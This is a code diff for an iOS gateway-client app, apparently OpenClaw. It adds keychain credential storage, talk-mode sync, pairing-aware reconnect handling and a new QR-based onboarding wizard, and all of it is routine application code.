private static let preferredGatewayStableIDAccount = "preferredStableID"
private static let lastDiscoveredGatewayStableIDAccount = "lastDiscoveredStableID"
private static let talkElevenLabsApiKeyAccount = "elevenlabs.apiKey"
static func bootstrapPersistence() {
self.ensureStableInstanceID()
@@ -143,6 +145,27 @@ enum GatewaySettingsStore {
case discovered
}
static func loadTalkElevenLabsApiKey() -> String? {
let value = KeychainStore.loadString(
service: self.talkService,
account: self.talkElevenLabsApiKeyAccount)?
.trimmingCharacters(in: .whitespacesAndNewlines)
if value?.isEmpty == false { return value }
return nil
}
static func saveTalkElevenLabsApiKey(_ apiKey: String?) {
let trimmed = apiKey?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
if trimmed.isEmpty {
_ = KeychainStore.delete(service: self.talkService, account: self.talkElevenLabsApiKeyAccount)
return
}
_ = KeychainStore.saveString(
trimmed,
service: self.talkService,
account: self.talkElevenLabsApiKeyAccount)
}
static func saveLastGatewayConnectionManual(host: String, port: Int, useTLS: Bool, stableID: String) {
let defaults = UserDefaults.standard
defaults.set(LastGatewayKind.manual.rawValue, forKey: self.lastGatewayKindDefaultsKey)
@@ -184,6 +207,25 @@ enum GatewaySettingsStore {
return .manual(host: host, port: port, useTLS: useTLS, stableID: stableID)
}
static func clearLastGatewayConnection(defaults: UserDefaults = .standard) {
defaults.removeObject(forKey: self.lastGatewayKindDefaultsKey)
defaults.removeObject(forKey: self.lastGatewayHostDefaultsKey)
defaults.removeObject(forKey: self.lastGatewayPortDefaultsKey)
defaults.removeObject(forKey: self.lastGatewayTlsDefaultsKey)
defaults.removeObject(forKey: self.lastGatewayStableIDDefaultsKey)
}
static func deleteGatewayCredentials(instanceId: String) {
let trimmed = instanceId.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return }
_ = KeychainStore.delete(
service: self.gatewayService,
account: self.gatewayTokenAccount(instanceId: trimmed))
_ = KeychainStore.delete(
service: self.gatewayService,
account: self.gatewayPasswordAccount(instanceId: trimmed))
}
static func loadGatewayClientIdOverride(stableID: String) -> String? {
let trimmedID = stableID.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmedID.isEmpty else { return nil }

View File

@@ -6,10 +6,10 @@ struct GatewayTrustPromptAlert: ViewModifier {
private var promptBinding: Binding<GatewayConnectionController.TrustPrompt?> {
Binding(
get: { self.gatewayController.pendingTrustPrompt },
set: { newValue in
if newValue == nil {
self.gatewayController.clearPendingTrustPrompt()
}
set: { _ in
// Keep pending trust state until explicit user action.
// `alert(item:)` may set the binding to nil during dismissal, which can race with
// the button handler and cause accept to no-op.
})
}
@@ -39,4 +39,3 @@ extension View {
self.modifier(GatewayTrustPromptAlert())
}
}

View File

@@ -17,15 +17,15 @@
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>2026.2.16</string>
<key>CFBundleVersion</key>
<string>20260216</string>
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoadsInWebContent</key>
<true/>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>2026.2.16</string>
<key>CFBundleVersion</key>
<string>20260216</string>
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsLocalNetworking</key>
<true/>
</dict>
<key>NSBonjourServices</key>
<array>

View File

@@ -10,7 +10,6 @@ import UserNotifications
private struct NotificationCallError: Error, Sendable {
let message: String
}
// Ensures notification requests return promptly even if the system prompt blocks.
private final class NotificationInvokeLatch<T: Sendable>: @unchecked Sendable {
private let lock = NSLock()
@@ -37,7 +36,6 @@ private final class NotificationInvokeLatch<T: Sendable>: @unchecked Sendable {
cont?.resume(returning: response)
}
}
@MainActor
@Observable
final class NodeAppModel {
@@ -53,10 +51,17 @@ final class NodeAppModel {
private let camera: any CameraServicing
private let screenRecorder: any ScreenRecordingServicing
var gatewayStatusText: String = "Offline"
var nodeStatusText: String = "Offline"
var operatorStatusText: String = "Offline"
var gatewayServerName: String?
var gatewayRemoteAddress: String?
var connectedGatewayID: String?
var gatewayAutoReconnectEnabled: Bool = true
// When the gateway requires pairing approval, we pause reconnect churn and show a stable UX.
// Reconnect loops (both our own and the underlying WebSocket watchdog) can otherwise generate
// multiple pending requests and cause the onboarding UI to "flip-flop".
var gatewayPairingPaused: Bool = false
var gatewayPairingRequestId: String?
var seamColorHex: String?
private var mainSessionBaseKey: String = "main"
var selectedAgentId: String?
@@ -340,6 +345,7 @@ final class NodeAppModel {
}
func setTalkEnabled(_ enabled: Bool) {
UserDefaults.standard.set(enabled, forKey: "talk.enabled")
if enabled {
// Voice wake holds the microphone continuously; talk mode needs exclusive access for STT.
// When talk is enabled from the UI, prioritize talk and pause voice wake.
@@ -351,6 +357,11 @@ final class NodeAppModel {
self.talkVoiceWakeSuspended = false
}
self.talkMode.setEnabled(enabled)
Task { [weak self] in
await self?.pushTalkModeToGateway(
enabled: enabled,
phase: enabled ? "enabled" : "disabled")
}
}
func requestLocationPermissions(mode: OpenClawLocationMode) async -> Bool {
@@ -479,16 +490,49 @@ final class NodeAppModel {
let stream = await self.operatorGateway.subscribeServerEvents(bufferingNewest: 200)
for await evt in stream {
if Task.isCancelled { return }
guard evt.event == "voicewake.changed" else { continue }
guard let payload = evt.payload else { continue }
struct Payload: Decodable { var triggers: [String] }
guard let decoded = try? GatewayPayloadDecoding.decode(payload, as: Payload.self) else { continue }
let triggers = VoiceWakePreferences.sanitizeTriggerWords(decoded.triggers)
VoiceWakePreferences.saveTriggerWords(triggers)
switch evt.event {
case "voicewake.changed":
struct Payload: Decodable { var triggers: [String] }
guard let decoded = try? GatewayPayloadDecoding.decode(payload, as: Payload.self) else { continue }
let triggers = VoiceWakePreferences.sanitizeTriggerWords(decoded.triggers)
VoiceWakePreferences.saveTriggerWords(triggers)
case "talk.mode":
struct Payload: Decodable {
var enabled: Bool
var phase: String?
}
guard let decoded = try? GatewayPayloadDecoding.decode(payload, as: Payload.self) else { continue }
self.applyTalkModeSync(enabled: decoded.enabled, phase: decoded.phase)
default:
continue
}
}
}
}
private func applyTalkModeSync(enabled: Bool, phase: String?) {
_ = phase
guard self.talkMode.isEnabled != enabled else { return }
self.setTalkEnabled(enabled)
}
private func pushTalkModeToGateway(enabled: Bool, phase: String?) async {
guard await self.isOperatorConnected() else { return }
struct TalkModePayload: Encodable {
var enabled: Bool
var phase: String?
}
let payload = TalkModePayload(enabled: enabled, phase: phase)
guard let data = try? JSONEncoder().encode(payload),
let json = String(data: data, encoding: .utf8)
else { return }
_ = try? await self.operatorGateway.request(
method: "talk.mode",
paramsJSON: json,
timeoutSeconds: 8)
}
private func startGatewayHealthMonitor() {
self.gatewayHealthMonitorDisabled = false
self.gatewayHealthMonitor.start(
@@ -577,6 +621,8 @@ final class NodeAppModel {
switch route {
case let .agent(link):
await self.handleAgentDeepLink(link, originalURL: url)
case .gateway:
break
}
}
@@ -1506,6 +1552,8 @@ extension NodeAppModel {
func disconnectGateway() {
self.gatewayAutoReconnectEnabled = false
self.gatewayPairingPaused = false
self.gatewayPairingRequestId = nil
self.nodeGatewayTask?.cancel()
self.nodeGatewayTask = nil
self.operatorGatewayTask?.cancel()
@@ -1535,6 +1583,8 @@ extension NodeAppModel {
private extension NodeAppModel {
func prepareForGatewayConnect(url: URL, stableID: String) {
self.gatewayAutoReconnectEnabled = true
self.gatewayPairingPaused = false
self.gatewayPairingRequestId = nil
self.nodeGatewayTask?.cancel()
self.operatorGatewayTask?.cancel()
self.gatewayHealthMonitor.stop()
@@ -1564,6 +1614,10 @@ private extension NodeAppModel {
guard let self else { return }
var attempt = 0
while !Task.isCancelled {
if self.gatewayPairingPaused {
try? await Task.sleep(nanoseconds: 1_000_000_000)
continue
}
if await self.isOperatorConnected() {
try? await Task.sleep(nanoseconds: 1_000_000_000)
continue
@@ -1639,8 +1693,13 @@ private extension NodeAppModel {
var attempt = 0
var currentOptions = nodeOptions
var didFallbackClientId = false
var pausedForPairingApproval = false
while !Task.isCancelled {
if self.gatewayPairingPaused {
try? await Task.sleep(nanoseconds: 1_000_000_000)
continue
}
if await self.isGatewayConnected() {
try? await Task.sleep(nanoseconds: 1_000_000_000)
continue
@@ -1669,12 +1728,13 @@ private extension NodeAppModel {
self.screen.errorText = nil
UserDefaults.standard.set(true, forKey: "gateway.autoconnect")
}
GatewayDiagnostics.log(
"gateway connected host=\(url.host ?? "?") scheme=\(url.scheme ?? "?")")
GatewayDiagnostics.log("gateway connected host=\(url.host ?? "?") scheme=\(url.scheme ?? "?")")
if let addr = await self.nodeGateway.currentRemoteAddress() {
await MainActor.run { self.gatewayRemoteAddress = addr }
}
await self.showA2UIOnConnectIfNeeded()
await self.onNodeGatewayConnected()
await MainActor.run { SignificantLocationMonitor.startIfNeeded(locationService: self.locationService, locationMode: self.locationMode(), gateway: self.nodeGateway) }
},
onDisconnected: { [weak self] reason in
guard let self else { return }
@@ -1726,11 +1786,52 @@ private extension NodeAppModel {
self.showLocalCanvasOnDisconnect()
}
GatewayDiagnostics.log("gateway connect error: \(error.localizedDescription)")
// If pairing is required, stop reconnect churn. The user must approve the request
// on the gateway before another connect attempt will succeed, and retry loops can
// generate multiple pending requests.
let lower = error.localizedDescription.lowercased()
if lower.contains("not_paired") || lower.contains("pairing required") {
let requestId: String? = {
// GatewayResponseError for connect decorates the message with `(requestId: ...)`.
// Keep this resilient since other layers may wrap the text.
let text = error.localizedDescription
guard let start = text.range(of: "(requestId: ")?.upperBound else { return nil }
guard let end = text[start...].firstIndex(of: ")") else { return nil }
let raw = String(text[start..<end]).trimmingCharacters(in: .whitespacesAndNewlines)
return raw.isEmpty ? nil : raw
}()
await MainActor.run {
self.gatewayAutoReconnectEnabled = false
self.gatewayPairingPaused = true
self.gatewayPairingRequestId = requestId
if let requestId, !requestId.isEmpty {
self.gatewayStatusText =
"Pairing required (requestId: \(requestId)). Approve on gateway, then tap Resume."
} else {
self.gatewayStatusText = "Pairing required. Approve on gateway, then tap Resume."
}
}
// Hard stop the underlying WebSocket watchdog reconnects so the UI stays stable and
// we don't generate multiple pending requests while waiting for approval.
pausedForPairingApproval = true
self.operatorGatewayTask?.cancel()
self.operatorGatewayTask = nil
await self.operatorGateway.disconnect()
await self.nodeGateway.disconnect()
break
}
let sleepSeconds = min(8.0, 0.5 * pow(1.7, Double(attempt)))
try? await Task.sleep(nanoseconds: UInt64(sleepSeconds * 1_000_000_000))
}
}
if pausedForPairingApproval {
// Leave the status text + request id intact so onboarding can guide the user.
return
}
await MainActor.run {
self.gatewayStatusText = "Offline"
self.gatewayServerName = nil
@@ -1757,7 +1858,7 @@ private extension NodeAppModel {
clientId: clientId,
clientMode: "ui",
clientDisplayName: displayName,
includeDeviceIdentity: false)
includeDeviceIdentity: true)
}
func legacyClientIdFallback(currentClientId: String, error: Error) -> String? {
@@ -1775,6 +1876,17 @@ private extension NodeAppModel {
}
}
extension NodeAppModel {
func reloadTalkConfig() {
Task { [weak self] in
await self?.talkMode.reloadConfig()
}
}
/// Back-compat hook retained for older gateway-connect flows.
func onNodeGatewayConnected() async {}
}
#if DEBUG
extension NodeAppModel {
func _test_handleInvoke(_ req: BridgeInvokeRequest) async -> BridgeInvokeResponse {
@@ -1808,5 +1920,9 @@ extension NodeAppModel {
func _test_showLocalCanvasOnDisconnect() {
self.showLocalCanvasOnDisconnect()
}
func _test_applyTalkModeSync(enabled: Bool, phase: String? = nil) {
self.applyTalkModeSync(enabled: enabled, phase: phase)
}
}
#endif

View File

@@ -0,0 +1,52 @@
import Foundation
enum OnboardingConnectionMode: String, CaseIterable {
case homeNetwork = "home_network"
case remoteDomain = "remote_domain"
case developerLocal = "developer_local"
var title: String {
switch self {
case .homeNetwork:
"Home Network"
case .remoteDomain:
"Remote Domain"
case .developerLocal:
"Same Machine (Dev)"
}
}
}
enum OnboardingStateStore {
private static let completedDefaultsKey = "onboarding.completed"
private static let lastModeDefaultsKey = "onboarding.last_mode"
private static let lastSuccessTimeDefaultsKey = "onboarding.last_success_time"
@MainActor
static func shouldPresentOnLaunch(appModel: NodeAppModel, defaults: UserDefaults = .standard) -> Bool {
if defaults.bool(forKey: Self.completedDefaultsKey) { return false }
// If we have a last-known connection config, don't force onboarding on launch. Auto-connect
// should handle reconnecting, and users can always open onboarding manually if needed.
if GatewaySettingsStore.loadLastGatewayConnection() != nil { return false }
return appModel.gatewayServerName == nil
}
static func markCompleted(mode: OnboardingConnectionMode? = nil, defaults: UserDefaults = .standard) {
defaults.set(true, forKey: Self.completedDefaultsKey)
if let mode {
defaults.set(mode.rawValue, forKey: Self.lastModeDefaultsKey)
}
defaults.set(Int(Date().timeIntervalSince1970), forKey: Self.lastSuccessTimeDefaultsKey)
}
static func markIncomplete(defaults: UserDefaults = .standard) {
defaults.set(false, forKey: Self.completedDefaultsKey)
}
static func lastMode(defaults: UserDefaults = .standard) -> OnboardingConnectionMode? {
let raw = defaults.string(forKey: Self.lastModeDefaultsKey)?
.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
guard !raw.isEmpty else { return nil }
return OnboardingConnectionMode(rawValue: raw)
}
}

View File

@@ -0,0 +1,852 @@
import CoreImage
import OpenClawKit
import PhotosUI
import SwiftUI
import UIKit
private enum OnboardingStep: Int, CaseIterable {
case welcome
case mode
case connect
case auth
case success
var previous: Self? {
Self(rawValue: self.rawValue - 1)
}
var next: Self? {
Self(rawValue: self.rawValue + 1)
}
/// Progress label for the manual setup flow (mode connect auth success).
var manualProgressTitle: String {
let manualSteps: [OnboardingStep] = [.mode, .connect, .auth, .success]
guard let idx = manualSteps.firstIndex(of: self) else { return "" }
return "Step \(idx + 1) of \(manualSteps.count)"
}
var title: String {
switch self {
case .welcome: "Welcome"
case .mode: "Connection Mode"
case .connect: "Connect"
case .auth: "Authentication"
case .success: "Connected"
}
}
var canGoBack: Bool {
self != .welcome && self != .success
}
}
struct OnboardingWizardView: View {
@Environment(NodeAppModel.self) private var appModel: NodeAppModel
@Environment(GatewayConnectionController.self) private var gatewayController: GatewayConnectionController
@AppStorage("node.instanceId") private var instanceId: String = UUID().uuidString
@AppStorage("gateway.discovery.domain") private var discoveryDomain: String = ""
@AppStorage("onboarding.developerMode") private var developerModeEnabled: Bool = false
@State private var step: OnboardingStep = .welcome
@State private var selectedMode: OnboardingConnectionMode?
@State private var manualHost: String = ""
@State private var manualPort: Int = 18789
@State private var manualPortText: String = "18789"
@State private var manualTLS: Bool = true
@State private var gatewayToken: String = ""
@State private var gatewayPassword: String = ""
@State private var connectMessage: String?
@State private var statusLine: String = "Scan the QR code from your gateway to connect."
@State private var connectingGatewayID: String?
@State private var issue: GatewayConnectionIssue = .none
@State private var didMarkCompleted = false
@State private var didAutoPresentQR = false
@State private var pairingRequestId: String?
@State private var discoveryRestartTask: Task<Void, Never>?
@State private var showQRScanner: Bool = false
@State private var scannerError: String?
@State private var selectedPhoto: PhotosPickerItem?
let allowSkip: Bool
let onClose: () -> Void
private var isFullScreenStep: Bool {
self.step == .welcome || self.step == .success
}
var body: some View {
NavigationStack {
Group {
switch self.step {
case .welcome:
self.welcomeStep
case .success:
self.successStep
default:
Form {
switch self.step {
case .mode:
self.modeStep
case .connect:
self.connectStep
case .auth:
self.authStep
default:
EmptyView()
}
}
.scrollDismissesKeyboard(.interactively)
}
}
.navigationTitle(self.isFullScreenStep ? "" : self.step.title)
.navigationBarTitleDisplayMode(.inline)
.toolbar {
if !self.isFullScreenStep {
ToolbarItem(placement: .principal) {
VStack(spacing: 2) {
Text(self.step.title)
.font(.headline)
Text(self.step.manualProgressTitle)
.font(.caption2)
.foregroundStyle(.secondary)
}
}
}
ToolbarItem(placement: .topBarLeading) {
if self.step.canGoBack {
Button {
self.navigateBack()
} label: {
Label("Back", systemImage: "chevron.left")
}
} else if self.allowSkip {
Button("Close") {
self.onClose()
}
}
}
ToolbarItemGroup(placement: .keyboard) {
Spacer()
Button("Done") {
UIApplication.shared.sendAction(
#selector(UIResponder.resignFirstResponder),
to: nil, from: nil, for: nil)
}
}
}
}
.gatewayTrustPromptAlert()
.alert("QR Scanner Unavailable", isPresented: Binding(
get: { self.scannerError != nil },
set: { if !$0 { self.scannerError = nil } }
)) {
Button("OK", role: .cancel) {}
} message: {
Text(self.scannerError ?? "")
}
.sheet(isPresented: self.$showQRScanner) {
NavigationStack {
QRScannerView(
onGatewayLink: { link in
self.handleScannedLink(link)
},
onError: { error in
self.showQRScanner = false
self.statusLine = "Scanner error: \(error)"
self.scannerError = error
},
onDismiss: {
self.showQRScanner = false
})
.ignoresSafeArea()
.navigationTitle("Scan QR Code")
.navigationBarTitleDisplayMode(.inline)
.toolbar {
ToolbarItem(placement: .topBarLeading) {
Button("Cancel") { self.showQRScanner = false }
}
ToolbarItem(placement: .topBarTrailing) {
PhotosPicker(selection: self.$selectedPhoto, matching: .images) {
Label("Photos", systemImage: "photo")
}
}
}
}
.onChange(of: self.selectedPhoto) { _, newValue in
guard let item = newValue else { return }
self.selectedPhoto = nil
Task {
guard let data = try? await item.loadTransferable(type: Data.self) else {
self.showQRScanner = false
self.scannerError = "Could not load the selected image."
return
}
if let message = self.detectQRCode(from: data) {
if let link = GatewayConnectDeepLink.fromSetupCode(message) {
self.handleScannedLink(link)
return
}
if let url = URL(string: message),
let route = DeepLinkParser.parse(url),
case let .gateway(link) = route
{
self.handleScannedLink(link)
return
}
}
self.showQRScanner = false
self.scannerError = "No valid QR code found in the selected image."
}
}
}
.onAppear {
self.initializeState()
}
.onDisappear {
self.discoveryRestartTask?.cancel()
self.discoveryRestartTask = nil
}
.onChange(of: self.discoveryDomain) { _, _ in
self.scheduleDiscoveryRestart()
}
.onChange(of: self.manualPortText) { _, newValue in
let digits = newValue.filter(\.isNumber)
if digits != newValue {
self.manualPortText = digits
return
}
guard let parsed = Int(digits), parsed > 0 else {
self.manualPort = 0
return
}
self.manualPort = min(parsed, 65535)
}
.onChange(of: self.manualPort) { _, newValue in
let normalized = newValue > 0 ? String(newValue) : ""
if self.manualPortText != normalized {
self.manualPortText = normalized
}
}
.onChange(of: self.gatewayToken) { _, newValue in
self.saveGatewayCredentials(token: newValue, password: self.gatewayPassword)
}
.onChange(of: self.gatewayPassword) { _, newValue in
self.saveGatewayCredentials(token: self.gatewayToken, password: newValue)
}
.onChange(of: self.appModel.gatewayStatusText) { _, newValue in
let next = GatewayConnectionIssue.detect(from: newValue)
// Avoid "flip-flopping" the UI by clearing actionable issues when the underlying connection
// transitions through intermediate statuses (e.g. Offline/Connecting while reconnect churns).
if self.issue.needsPairing, next.needsPairing {
// Keep the requestId sticky even if the status line omits it after we pause.
let mergedRequestId = next.requestId ?? self.issue.requestId ?? self.pairingRequestId
self.issue = .pairingRequired(requestId: mergedRequestId)
} else if self.issue.needsPairing, !next.needsPairing {
// Ignore non-pairing statuses until the user explicitly retries/scans again, or we connect.
} else if self.issue.needsAuthToken, !next.needsAuthToken, !next.needsPairing {
// Same idea for auth: once we learn credentials are missing/rejected, keep that sticky until
// the user retries/scans again or we successfully connect.
} else {
self.issue = next
}
if let requestId = next.requestId, !requestId.isEmpty {
self.pairingRequestId = requestId
}
// If the gateway tells us auth is missing/rejected, stop reconnect churn until the user intervenes.
if next.needsAuthToken {
self.appModel.gatewayAutoReconnectEnabled = false
}
if self.issue.needsAuthToken || self.issue.needsPairing {
self.step = .auth
}
if !newValue.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty {
self.connectMessage = newValue
self.statusLine = newValue
}
}
.onChange(of: self.appModel.gatewayServerName) { _, newValue in
guard newValue != nil else { return }
self.statusLine = "Connected."
if !self.didMarkCompleted, let selectedMode {
OnboardingStateStore.markCompleted(mode: selectedMode)
self.didMarkCompleted = true
}
self.onClose()
}
}
@ViewBuilder
private var welcomeStep: some View {
VStack(spacing: 0) {
Spacer()
Image(systemName: "qrcode.viewfinder")
.font(.system(size: 64))
.foregroundStyle(.tint)
.padding(.bottom, 20)
Text("Welcome")
.font(.largeTitle.weight(.bold))
.padding(.bottom, 8)
Text("Connect to your OpenClaw gateway")
.font(.subheadline)
.foregroundStyle(.secondary)
.multilineTextAlignment(.center)
.padding(.horizontal, 32)
Spacer()
VStack(spacing: 12) {
Button {
self.statusLine = "Opening QR scanner…"
self.showQRScanner = true
} label: {
Label("Scan QR Code", systemImage: "qrcode")
.frame(maxWidth: .infinity)
}
.buttonStyle(.borderedProminent)
.controlSize(.large)
Button {
self.step = .mode
} label: {
Text("Set Up Manually")
.frame(maxWidth: .infinity)
}
.buttonStyle(.bordered)
.controlSize(.large)
}
.padding(.bottom, 12)
Text(self.statusLine)
.font(.footnote)
.foregroundStyle(.secondary)
.multilineTextAlignment(.center)
.padding(.horizontal, 24)
.padding(.horizontal, 24)
.padding(.bottom, 48)
}
}
@ViewBuilder
private var modeStep: some View {
Section("Connection Mode") {
OnboardingModeRow(
title: OnboardingConnectionMode.homeNetwork.title,
subtitle: "LAN or Tailscale host",
selected: self.selectedMode == .homeNetwork)
{
self.selectMode(.homeNetwork)
}
OnboardingModeRow(
title: OnboardingConnectionMode.remoteDomain.title,
subtitle: "VPS with domain",
selected: self.selectedMode == .remoteDomain)
{
self.selectMode(.remoteDomain)
}
Toggle(
"Developer mode",
isOn: Binding(
get: { self.developerModeEnabled },
set: { newValue in
self.developerModeEnabled = newValue
if !newValue, self.selectedMode == .developerLocal {
self.selectedMode = nil
}
}))
if self.developerModeEnabled {
OnboardingModeRow(
title: OnboardingConnectionMode.developerLocal.title,
subtitle: "For local iOS app development",
selected: self.selectedMode == .developerLocal)
{
self.selectMode(.developerLocal)
}
}
}
Section {
Button("Continue") {
self.step = .connect
}
.disabled(self.selectedMode == nil)
}
}
@ViewBuilder
private var connectStep: some View {
if let selectedMode {
Section {
LabeledContent("Mode", value: selectedMode.title)
LabeledContent("Discovery", value: self.gatewayController.discoveryStatusText)
LabeledContent("Status", value: self.appModel.gatewayStatusText)
LabeledContent("Progress", value: self.statusLine)
} header: {
Text("Status")
} footer: {
if let connectMessage {
Text(connectMessage)
}
}
switch selectedMode {
case .homeNetwork:
self.homeNetworkConnectSection
case .remoteDomain:
self.remoteDomainConnectSection
case .developerLocal:
self.developerConnectSection
}
} else {
Section {
Text("Choose a mode first.")
Button("Back to Mode Selection") {
self.step = .mode
}
}
}
}
private var homeNetworkConnectSection: some View {
Group {
Section("Discovered Gateways") {
if self.gatewayController.gateways.isEmpty {
Text("No gateways found yet.")
.foregroundStyle(.secondary)
} else {
ForEach(self.gatewayController.gateways) { gateway in
let hasHost = self.gatewayHasResolvableHost(gateway)
HStack {
VStack(alignment: .leading, spacing: 4) {
Text(gateway.name)
if let host = gateway.lanHost ?? gateway.tailnetDns {
Text(host)
.font(.footnote)
.foregroundStyle(.secondary)
}
}
Spacer()
Button {
Task { await self.connectDiscoveredGateway(gateway) }
} label: {
if self.connectingGatewayID == gateway.id {
ProgressView()
.progressViewStyle(.circular)
} else if !hasHost {
Text("Resolving…")
} else {
Text("Connect")
}
}
.disabled(self.connectingGatewayID != nil || !hasHost)
}
}
}
Button("Restart Discovery") {
self.gatewayController.restartDiscovery()
}
.disabled(self.connectingGatewayID != nil)
}
self.manualConnectionFieldsSection(title: "Manual Fallback")
}
}
private var remoteDomainConnectSection: some View {
self.manualConnectionFieldsSection(title: "Domain Settings")
}
private var developerConnectSection: some View {
Section {
TextField("Host", text: self.$manualHost)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
TextField("Port", text: self.$manualPortText)
.keyboardType(.numberPad)
Toggle("Use TLS", isOn: self.$manualTLS)
Button {
Task { await self.connectManual() }
} label: {
if self.connectingGatewayID == "manual" {
HStack(spacing: 8) {
ProgressView()
.progressViewStyle(.circular)
Text("Connecting…")
}
} else {
Text("Connect")
}
}
.disabled(!self.canConnectManual || self.connectingGatewayID != nil)
} header: {
Text("Developer Local")
} footer: {
Text("Default host is localhost. Use your Mac LAN IP if simulator networking requires it.")
}
}
private var authStep: some View {
Group {
Section("Authentication") {
TextField("Gateway Auth Token", text: self.$gatewayToken)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
SecureField("Gateway Password", text: self.$gatewayPassword)
if self.issue.needsAuthToken {
Text("Gateway rejected credentials. Scan a fresh QR code or update token/password.")
.font(.footnote)
.foregroundStyle(.secondary)
} else {
Text("Auth token looks valid.")
.font(.footnote)
.foregroundStyle(.secondary)
}
}
if self.issue.needsPairing {
Section {
Button("Copy: openclaw devices list") {
UIPasteboard.general.string = "openclaw devices list"
}
if let id = self.issue.requestId {
Button("Copy: openclaw devices approve \(id)") {
UIPasteboard.general.string = "openclaw devices approve \(id)"
}
} else {
Button("Copy: openclaw devices approve <requestId>") {
UIPasteboard.general.string = "openclaw devices approve <requestId>"
}
}
} header: {
Text("Pairing Approval")
} footer: {
Text("Approve this device on the gateway, then tap \"Resume After Approval\" below.")
}
}
Section {
Button {
Task { await self.retryLastAttempt() }
} label: {
if self.connectingGatewayID == "retry" {
ProgressView()
.progressViewStyle(.circular)
} else {
Text("Retry Connection")
}
}
.disabled(self.connectingGatewayID != nil)
Button {
self.resumeAfterPairingApproval()
} label: {
Label("Resume After Approval", systemImage: "arrow.clockwise")
}
.disabled(self.connectingGatewayID != nil || !self.issue.needsPairing)
Button {
self.openQRScannerFromOnboarding()
} label: {
Label("Scan QR Code Again", systemImage: "qrcode.viewfinder")
}
.disabled(self.connectingGatewayID != nil)
}
}
}
private var successStep: some View {
VStack(spacing: 0) {
Spacer()
Image(systemName: "checkmark.circle.fill")
.font(.system(size: 64))
.foregroundStyle(.green)
.padding(.bottom, 20)
Text("Connected")
.font(.largeTitle.weight(.bold))
.padding(.bottom, 8)
let server = self.appModel.gatewayServerName ?? "gateway"
Text(server)
.font(.subheadline)
.foregroundStyle(.secondary)
.padding(.bottom, 4)
if let addr = self.appModel.gatewayRemoteAddress {
Text(addr)
.font(.subheadline)
.foregroundStyle(.secondary)
}
Spacer()
Button {
self.onClose()
} label: {
Text("Open OpenClaw")
.frame(maxWidth: .infinity)
}
.buttonStyle(.borderedProminent)
.controlSize(.large)
.padding(.horizontal, 24)
.padding(.bottom, 48)
}
}
@ViewBuilder
private func manualConnectionFieldsSection(title: String) -> some View {
Section(title) {
TextField("Host", text: self.$manualHost)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
TextField("Port", text: self.$manualPortText)
.keyboardType(.numberPad)
Toggle("Use TLS", isOn: self.$manualTLS)
TextField("Discovery Domain (optional)", text: self.$discoveryDomain)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
Button {
Task { await self.connectManual() }
} label: {
if self.connectingGatewayID == "manual" {
HStack(spacing: 8) {
ProgressView()
.progressViewStyle(.circular)
Text("Connecting…")
}
} else {
Text("Connect")
}
}
.disabled(!self.canConnectManual || self.connectingGatewayID != nil)
}
}
private func handleScannedLink(_ link: GatewayConnectDeepLink) {
self.manualHost = link.host
self.manualPort = link.port
self.manualTLS = link.tls
if let token = link.token {
self.gatewayToken = token
}
if let password = link.password {
self.gatewayPassword = password
}
self.saveGatewayCredentials(token: self.gatewayToken, password: self.gatewayPassword)
self.showQRScanner = false
self.connectMessage = "Connecting via QR code…"
self.statusLine = "QR loaded. Connecting to \(link.host):\(link.port)"
if self.selectedMode == nil {
self.selectedMode = link.tls ? .remoteDomain : .homeNetwork
}
Task { await self.connectManual() }
}
private func openQRScannerFromOnboarding() {
// Stop active reconnect loops before scanning new credentials.
self.appModel.disconnectGateway()
self.connectingGatewayID = nil
self.connectMessage = nil
self.issue = .none
self.pairingRequestId = nil
self.statusLine = "Opening QR scanner…"
self.showQRScanner = true
}
private func resumeAfterPairingApproval() {
// We intentionally stop reconnect churn while unpaired to avoid generating multiple pending requests.
self.appModel.gatewayAutoReconnectEnabled = true
self.appModel.gatewayPairingPaused = false
self.connectMessage = "Retrying after approval…"
self.statusLine = "Retrying after approval…"
Task { await self.retryLastAttempt() }
}
private func detectQRCode(from data: Data) -> String? {
guard let ciImage = CIImage(data: data) else { return nil }
let detector = CIDetector(
ofType: CIDetectorTypeQRCode, context: nil,
options: [CIDetectorAccuracy: CIDetectorAccuracyHigh])
let features = detector?.features(in: ciImage) ?? []
for feature in features {
if let qr = feature as? CIQRCodeFeature, let message = qr.messageString {
return message
}
}
return nil
}
private func navigateBack() {
guard let target = self.step.previous else { return }
self.connectingGatewayID = nil
self.connectMessage = nil
self.step = target
}
private var canConnectManual: Bool {
let host = self.manualHost.trimmingCharacters(in: .whitespacesAndNewlines)
return !host.isEmpty && self.manualPort > 0 && self.manualPort <= 65535
}
private func initializeState() {
if self.manualHost.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty {
if let last = GatewaySettingsStore.loadLastGatewayConnection() {
switch last {
case let .manual(host, port, useTLS, _):
self.manualHost = host
self.manualPort = port
self.manualTLS = useTLS
case .discovered:
self.manualHost = "openclaw.local"
self.manualPort = 18789
self.manualTLS = true
}
} else {
self.manualHost = "openclaw.local"
self.manualPort = 18789
self.manualTLS = true
}
}
self.manualPortText = self.manualPort > 0 ? String(self.manualPort) : ""
if self.selectedMode == nil {
self.selectedMode = OnboardingStateStore.lastMode()
}
if self.selectedMode == .developerLocal && self.manualHost == "openclaw.local" {
self.manualHost = "localhost"
self.manualTLS = false
}
let trimmedInstanceId = self.instanceId.trimmingCharacters(in: .whitespacesAndNewlines)
if !trimmedInstanceId.isEmpty {
self.gatewayToken = GatewaySettingsStore.loadGatewayToken(instanceId: trimmedInstanceId) ?? ""
self.gatewayPassword = GatewaySettingsStore.loadGatewayPassword(instanceId: trimmedInstanceId) ?? ""
}
let hasSavedGateway = GatewaySettingsStore.loadLastGatewayConnection() != nil
